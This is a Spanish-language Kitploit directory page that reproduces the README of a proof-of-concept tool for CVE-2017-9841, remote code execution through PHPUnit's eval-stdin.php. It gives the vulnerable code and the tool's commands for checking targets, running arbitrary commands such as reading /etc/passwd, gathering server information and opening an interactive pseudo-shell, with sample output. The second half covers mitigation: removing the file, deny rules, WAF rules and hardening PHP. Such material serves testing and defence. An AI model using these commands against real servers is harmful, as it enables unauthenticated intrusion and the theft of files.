Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2017-9841-PHPUnit-Remote-Code-Execution-PoC — CVE-2017-9841 es una vulnerabilidad de ejecución remota de código (RCE) en la librería PHPUnit que afecta a versiones anteriores a 5.6.3 y 6.x anteriores a 6.4.2. | Kitploit
Herramientas/GitHubGitHub/krisdewa/cve-2017-9841-phpunit-remote-code-execution-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de Payloads
GitHubkrisdewa/cve-2017-9841-phpunit-remote-code-execution-poc

CVE-2017-9841-PHPUnit-Remote-Code-Execution-PoC

CVE-2017-9841 es una vulnerabilidad de ejecución remota de código (RCE) en la librería PHPUnit que afecta a versiones anteriores a 5.6.3 y 6.x anteriores a 6.4.2.

Ver Repositorio
11hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2017-9841 — Prueba de Concepto (PoC) de Ejecución Remota de Código (RCE) en PHPUnit

⚠️ AVISO: Esta herramienta está destinada únicamente para fines educativos y pruebas de seguridad autorizadas. El uso no autorizado contra sistemas que no poseas o para los que no tengas permiso explícito es ilegal. El autor no asume ninguna responsabilidad por el mal uso de esta herramienta.


Resumen

CVE-2017-9841 es una vulnerabilidad de Ejecución Remota de Código (RCE) en la librería PHPUnit que afecta a versiones anteriores a 5.6.3 y 6.x anteriores a 6.4.2.

La vulnerabilidad existe en src/Util/PHP/eval-stdin.php, que ejecuta código PHP recibido a través de php://input (cuerpo POST) usando la función eval(). Si este archivo es accesible públicamente (por ejemplo, dentro de un directorio vendor/ sin protección), un atacante puede ejecutar código PHP arbitrario en el servidor sin autenticación.

Detalles de la Vulnerabilidad

CampoValor
ID CVECVE-2017-9841
Puntuación CVSS9.8 (Crítica)
AfectadosPHPUnit < 5.6.3, 6.x < 6.4.2
TipoEjecución Remota de Código (RCE)
AutenticaciónNo requerida
VectorRed (remoto)
Publicado27 de junio de 2017
ReferenciaNVD

Código Vulnerable

// vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
eval('?>' . file_get_contents('php://input'));

Este archivo acepta código PHP del cuerpo POST y lo ejecuta inmediatamente a través de eval() sin autenticación ni validación.


Instalación

Requisitos

  • Python 3.6+
  • Librería requests
pip install requests

Configuración

git clone <repo-url>
cd CVE-2017-9841
chmod +x poc_cve-2017-9841.py

Uso

Sintaxis básica

python3 poc_cve-2017-9841.py -u <URL> [options]

El flag -u acepta tanto una URL base (añade automáticamente la ruta vulnerable) como una URL completa que apunte directamente a eval-stdin.php.

1. Verificación de Vulnerabilidad (Sin Ejecución de Comandos)

python3 poc_cve-2017-9841.py -u 'https://target.com' --check

Output:

[*] Target : https://target.com
[*] Endpoint: https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

[*] Checking vulnerability on: ...
[+] File accessible (HTTP 200)
[+] VULNERABLE! Code execution confirmed.
[+] Response: VULN_CHECK_OK_2017_9841

2. Ejecución de Comandos

# Single command
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'whoami'

# Multiple commands
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'id && hostname && uname -a'

# Read a file
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd'

# Save output to file
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd' -o result.txt

3. Información del Servidor (Solo Lectura)

python3 poc_cve-2017-9841.py -u 'https://target.com' --info

Output:

=== SERVER INFORMATION ===
PHP Version : 8.x.x
OS          : Linux
SAPI        : fpm-fcgi
User        : www-data
Hostname    : web-server-01
Server IP   : 192.168.1.100
CWD         : /var/www/html/app/vendor/phpunit/phpunit/src/Util/PHP
Doc Root    : /var/www/html/
Server SW   : Apache
Memory Limit: 256M
Max Exec    : 30s
Open Basedir: (none)
Disabled Fn : (none)

=== DANGEROUS FUNCTIONS ===
  system: YES
  exec: YES
  passthru: YES
  shell_exec: YES
  proc_open: YES
  popen: YES
  curl_exec: YES

4. Pseudo-Shell Interactiva

python3 poc_cve-2017-9841.py -u 'https://target.com' --shell

Output:

[*] Pseudo-shell (type 'exit' or 'quit' to leave)
--------------------------------------------------
www-data@web-server-01$ whoami
www-data
www-data@web-server-01$ ls -la /var/www/html/
total 12
drwxr-xr-x 4 www-data www-data 4096 Jun 11 00:00 .
drwxr-xr-x 3 root     root     4096 Jan 01 00:00 ..
drwxr-xr-x 8 www-data www-data 4096 Jun 11 00:00 app
www-data@web-server-01$ exit
[*] Exiting shell.

5. Encontrar Ruta Vulnerable Automáticamente

python3 poc_cve-2017-9841.py -u 'https://target.com' --find-path

6. Ruta Personalizada

python3 poc_cve-2017-9841.py -u 'https://target.com' \
  --path '/custom/path/eval-stdin.php' -c 'whoami'

7. URL Completa hacia eval-stdin.php

python3 poc_cve-2017-9841.py \
  -u 'https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php' \
  -c 'whoami'

8. Ejecutar Código PHP Puro

python3 poc_cve-2017-9841.py -u 'https://target.com' \
  --php '<?php phpinfo(); ?>'

Referencia de Opciones

FlagDescripción
-u, --url URLURL base objetivo o URL completa hacia eval-stdin.php
-c, --cmd CMDComando CLI a ejecutar en el servidor objetivo
--checkVerificar si el objetivo es vulnerable sin ejecutar comandos
--shellAbrir una pseudo-shell interactiva
--infoRecopilar información del servidor (solo lectura)
--find-pathEscanear rutas comunes para localizar eval-stdin.php
--path PATHEspecificar una ruta personalizada hacia eval-stdin.php
--timeout NTiempo de espera de la solicitud en segundos (predeterminado: 30)
-o, --output FILEGuardar la salida del comando en un archivo
--php CODEEjecutar código PHP puro en lugar de comandos del sistema

Mitigación

Acciones Inmediatas (Haz Esto AHORA)

1. Eliminar el Archivo Vulnerable

sudo rm /path/to/project/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

2. Bloquear el Acceso al Directorio Vendor

Agrega un archivo .htaccess dentro del directorio vendor/:

# /path/to/project/vendor/.htaccess
Deny from all

O configúralo en tu Apache VirtualHost:

<Directory "/path/to/project/vendor">
    Require all denied
</Directory>

Para Nginx:

location /vendor/ {
    deny all;
    return 403;
}

3. Eliminar Dependencias de Desarrollo en Producción

cd /path/to/project
composer install --no-dev --optimize-autoloader

Endurecimiento a Corto Plazo

4. Habilitar disable_functions en php.ini

; /etc/php/8.4/fpm/php.ini
disable_functions = system,exec,passthru,shell_exec,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

5. Habilitar open_basedir

; /etc/php/8.4/fpm/php.ini o en VirtualHost
open_basedir = /var/www/html/project:/tmp

6. Reducir max_execution_time

max_execution_time = 30

7. Reiniciar PHP-FPM

sudo systemctl restart php8.4-fpm
# o
sudo systemctl restart php-fpm

Endurecimiento a Largo Plazo

8. Actualizar PHPUnit

composer require --dev phpunit/phpunit:^10.0
composer update phpunit/phpunit

9. Implementar Reglas de WAF

Ejemplo de ModSecurity:

SecRule REQUEST_URI "eval-stdin\.php" \
    "id:1000001,phase:1,deny,status:403,msg:'CVE-2017-9841 Block'"

SecRule REQUEST_URI "/vendor/" \
    "id:1000002,phase:1,deny,status:403,msg:'Block vendor directory access'"

10. Endurecimiento del Pipeline CI/CD

# Ejemplo: GitHub Actions
- name: Install production dependencies only
  run: composer install --no-dev --optimize-autoloader

- name: Remove test files and vulnerable scripts
  run: |
    rm -rf vendor/phpunit
    rm -rf vendor/mockery
    rm -rf tests/
    find vendor -name "eval-stdin.php" -delete

Diagrama de Flujo del Ataque

Descargar herramienta